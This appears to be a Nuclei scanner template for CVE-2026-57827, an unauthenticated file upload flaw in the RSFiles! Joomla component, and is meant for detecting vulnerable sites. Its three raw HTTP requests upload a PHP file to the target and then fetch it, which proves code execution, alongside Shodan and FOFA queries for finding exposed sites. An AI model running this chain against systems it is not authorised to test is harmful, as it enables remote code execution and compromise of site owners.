RSFiles! for Joomla - Arbitrary File Upload

id: CVE-2026-57827

info:
  name: RSFiles! for Joomla - Arbitrary File Upload
  author: omarkurt
  severity: critical
  description: |
    RSFiles! (com_rsfiles) for Joomla < 1.17.12 allows unauthenticated arbitrary file upload via the rsfiles.upload task. The write method performs no authentication, CSRF token, or file extension checks, allowing upload of executable PHP files to the web-accessible downloads/ directory.
  impact: |
    Unauthenticated remote code execution via PHP webshell upload.
  remediation: |
    Update RSFiles! to version 1.17.12 or later.
  reference:
    - https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/
    - https://vulnerabletarget.com/VT-2026-57827
    - https://www.rsjoomla.com/blog/view/644-unauthenticated-file-upload-fixed-in-rsfiles-version-11712-update-now.html
    - https://nvd.nist.gov/vuln/detail/CVE-2026-57827
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-57827
    epss-score: 0.02328
    epss-percentile: 0.82215
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    vendor: rsjoomla
    product: rsfiles
    framework: joomla
    shodan-query: http.html:"com_rsfiles"
    fofa-query: body="com_rsfiles"
  tags: cve,cve2026,joomla,rsjoomla,rsfiles,file-upload,rce,intrusive

variables:
  marker: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /index.php?option=com_rsfiles&task=rsfiles.checkupload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"status\":\"ok\"")'
        condition: and
        internal: true

  - raw:
      - |
        POST /index.php?option=com_rsfiles&task=rsfiles.upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----RSFilesBoundary57827

        ------RSFilesBoundary57827
        Content-Disposition: form-data; name="file"; filename="{{marker}}.php"
        Content-Type: application/x-php

        <?php echo 'VT-2026-57827-{{marker}}'; ?>
        ------RSFilesBoundary57827--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"status\":\"success\"")'
        condition: and
        internal: true

  - raw:
      - |
        GET /downloads/{{marker}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - "contains(body, 'VT-2026-57827-{{marker}}')"
        condition: and
# digest: 4a0a00473045022005534dcbb048905ad57a2b4917b11ee22aefa2939b17505cca3d93cc2278893f022100b878ac3e63259f5175667d96e481a5eb9f76fe85a3b57e1cf5a02c30a6f26ccb:922c64590222798bb761d5b6d8e72950